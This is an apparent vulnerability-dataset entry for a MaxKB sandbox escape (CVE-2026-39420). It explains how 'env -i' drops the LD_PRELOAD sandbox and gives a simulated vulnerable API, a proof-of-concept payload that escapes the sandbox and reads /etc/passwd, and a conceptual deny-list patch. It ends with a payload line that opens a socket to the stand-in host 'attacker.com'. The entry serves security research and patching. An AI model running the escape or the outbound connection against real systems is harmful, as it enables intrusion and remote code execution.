CVE-2026-39420
Authenticated users can escape MaxKB's sandbox for RCE using 'env -i'.
- CVSS 7.4
- CWE-78
- Design Defects
- Remote
MaxKB is an open-source AI assistant for enterprise. In versions 2.7.1 and below, an incomplete sandbox protection mechanism allows an authenticated user with tool execution privileges to escape the LD_PRELOAD-based sandbox. By env command the attacker can clear the environment variables and drop the sandbox.so hook, leading to unrestricted Remote Code Execution (RCE) and network access. MaxKB restricts untrusted Python code execution via the Tool Debug API by injecting sandbox.so through the LD_PRELOAD environment variable. This intercepts sensitive C library functions (like execve, socket, open) to restrict network and file access. However, a patch allowed the /usr/bin/env utility to be executed by the sandboxed user. When an attacker is permitted to create subprocesses, they can execute the env -i python command. The -i flag instructs env to completely clear all environment variables before running the target program. This effectively drops the LD_PRELOAD environment variable. The newly spawned Python process will therefore execute natively without any sandbox hooks, bypassing all network and file system restrictions. This issue has been fixed in version 2.8.0.
- CWE
- CWE-78
- CVSS base score
- 7.4
- Published
- 2026-04-14
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Algorithm
- Category
- Design Defects
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- MaxKB
Solution
Upgrade to MaxKB version 2.8.0 or later.
Vulnerable code sample
import os
import subprocess
import sys
# This function simulates the vulnerable "Tool Debug API" in MaxKB <= 2.7.1
# It takes user-provided Python code and attempts to run it in a sandbox.
def vulnerable_api_execute_tool(user_code):
"""
Simulates the vulnerable MaxKB API endpoint.
It establishes a sandboxed environment using LD_PRELOAD and then
executes the user-provided Python code within it.
"""
print("--- [MaxKB Server] Received request to execute user code in sandbox. ---")
# 1. The server sets up the sandbox environment using LD_PRELOAD.
# This is intended to intercept and block dangerous function calls.
sandboxed_env = os.environ.copy()
sandboxed_env['LD_PRELOAD'] = '/path/to/sandbox.so'
print(f"--- [MaxKB Server] Injecting sandbox via LD_PRELOAD: {sandboxed_env['LD_PRELOAD']} ---")
# 2. The server executes the user-provided Python code.
# The vulnerability lies in the fact that the code running inside this
# sandbox is allowed to call '/usr/bin/env'.
print("--- [MaxKB Server] Executing user code inside the sandbox... ---")
try:
# Using python -c to run the code string directly
process = subprocess.run(
[sys.executable, '-c', user_code],
env=sandboxed_env,
check=True,
capture_output=True,
text=True
)
print("--- [MaxKB Server] User code executed successfully (or so it seems). ---")
print("--- STDOUT ---\n" + process.stdout)
print("--- STDERR ---\n" + process.stderr)
except subprocess.CalledProcessError as e:
print(f"--- [MaxKB Server] User code execution failed. ---")
print("--- STDOUT ---\n" + e.stdout)
print("--- STDERR ---\n" + e.stderr)
except Exception as e:
print(f"--- [MaxKB Server] An unexpected error occurred: {e} ---")
# This represents the malicious code an authenticated attacker would submit.
attacker_payload_code = """
import os
import subprocess
print("[Attacker Code] Running inside what should be a sandbox.")
# Check the environment to confirm the sandbox hook is active.
ld_preload_var = os.getenv('LD_PRELOAD')
if ld_preload_var:
print(f"[Attacker Code] Confirmed: LD_PRELOAD is set to '{ld_preload_var}'. The sandbox is active.")
else:
print("[Attacker Code] Warning: LD_PRELOAD is not set. This shouldn't happen.")
print("[Attacker Code] Now, attempting to escape the sandbox...")
# This is the code that will run *after* the sandbox escape.
# It demonstrates unrestricted access by reading a sensitive file.
post_escape_code = '''
import os
import subprocess
print(" [Escaped Process] Greetings from the unsandboxed world!")
escaped_ld_preload = os.getenv('LD_PRELOAD')
if not escaped_ld_preload:
print(" [Escaped Process] SUCCESS! LD_PRELOAD environment variable was cleared.")
print(" [Escaped Process] Now executing restricted command: reading /etc/passwd")
try:
# In a real scenario, this could be a reverse shell, network request, etc.
result = subprocess.run(['cat', '/etc/passwd'], capture_output=True, text=True, check=True)
print(" [Escaped Process] Contents of /etc/passwd (first 5 lines):")
for line in result.stdout.splitlines()[:5]:
print(f" [Escaped Process] {line}")
except Exception as e:
print(f" [Escaped Process] Could not execute command. (This may happen on non-Unix systems or due to permissions). Error: {e}")
else:
print(f" [Escaped Process] FAILURE! LD_PRELOAD is still set to '{escaped_ld_preload}'.")
'''
# The core of the exploit: using 'env -i' to clear the environment.
# 'env -i' starts the subsequent command ('python') with a completely empty environment,
# thus dropping the LD_PRELOAD variable and deactivating the sandbox.
escape_command = ['/usr/bin/env', '-i', 'python', '-c', post_escape_code]
try:
print(f"[Attacker Code] Executing command: {' '.join(escape_command)}")
subprocess.run(escape_command, check=True)
print("[Attacker Code] Sandbox escape command executed.")
except FileNotFoundError:
print("[Attacker Code] Exploit failed: /usr/bin/env not found. This PoC is designed for a Unix-like environment.")
except Exception as e:
print(f"[Attacker Code] An error occurred during escape attempt: {e}")
"""
if __name__ == "__main__":
# This simulates the attacker calling the vulnerable API endpoint
# with their malicious payload.
vulnerable_api_execute_tool(attacker_payload_code)Patched code sample
Since the actual source code for MaxKB is not provided, this code represents a conceptual fix for the described vulnerability (CVE-2026-39420).
The vulnerability's root cause is allowing the sandboxed process to execute `/usr/bin/env` with the `-i` flag, which clears all environment variables, including the `LD_PRELOAD` variable that establishes the sandbox.
The fix is to explicitly disallow the `env` command from being executed, thus preventing the escape vector. This is achieved by validating the command against a deny-list before attempting to execute it.
```python
import subprocess
import os
import sys
# A set of commands that are explicitly disallowed in the sandboxed environment.
# The fix for CVE-2026-39420 is to block the 'env' utility,
# as it can be used with the '-i' flag to clear the LD_PRELOAD sandbox.
DISALLOWED_COMMANDS = {
'env',
'/usr/bin/env',
}
def execute_fixed_sandboxed_command(command_parts: list[str]):
"""
Represents a fixed API that executes a command within a sandbox.
The vulnerability is patched by explicitly disallowing the 'env' command,
which was the vector for the sandbox escape.
"""
if not command_parts:
print("Error: No command provided.", file=sys.stderr)
# In a real application, this would raise an exception.
return None
# --- START OF THE FIX ---
# The core of the fix is to validate the command before execution.
# By checking the first element of the command list against a deny-list,
# we prevent the execution of '/usr/bin/env'. This blocks the attacker's
# ability to use 'env -i' to clear the LD_PRELOAD environment variable.
executable = command_parts[0]
if executable in DISALLOWED_COMMANDS:
# Block the command and inform the user.
print(
f"Error: Execution of '{executable}' is disallowed for security reasons "
f"to prevent sandbox escape (CVE-2026-39420).",
file=sys.stderr
)
# In a real system, this would raise a specific security exception.
return None
# --- END OF THE FIX ---
# If the command is not disallowed, proceed to run it within the sandbox.
sandboxed_env = os.environ.copy()
# The LD_PRELOAD variable is what establishes the sandbox by injecting
# a shared library (e.g., sandbox.so) to intercept system calls like
# socket(), open(), and execve().
sandboxed_env['LD_PRELOAD'] = './sandbox.so'
try:
# Execute the validated command with the sandboxed environment.
# The command will now correctly run with the sandbox.so hooks,
# as the 'env -i' escape route has been blocked.
result = subprocess.run(
command_parts,
env=sandboxed_env,
check=True,
capture_output=True,
text=True
)
return result.stdout
except FileNotFoundError:
# This error occurs if the executable (e.g., 'python') doesn't exist.
print(f"Error: Command not found: '{executable}'", file=sys.stderr)
return None
except subprocess.CalledProcessError as e:
# This error occurs if the command returns a non-zero exit code.
print(f"Error during command execution: {e.stderr}", file=sys.stderr)
return NonePayload
import subprocess
command = [
"/usr/bin/env",
"-i",
"python",
"-c",
"import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('attacker.com', 1234))"
]
subprocess.run(command)
Cite this entry
@misc{vaitp:cve202639420,
title = {{Authenticated users can escape MaxKB's sandbox for RCE using 'env -i'.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-39420},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-39420/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
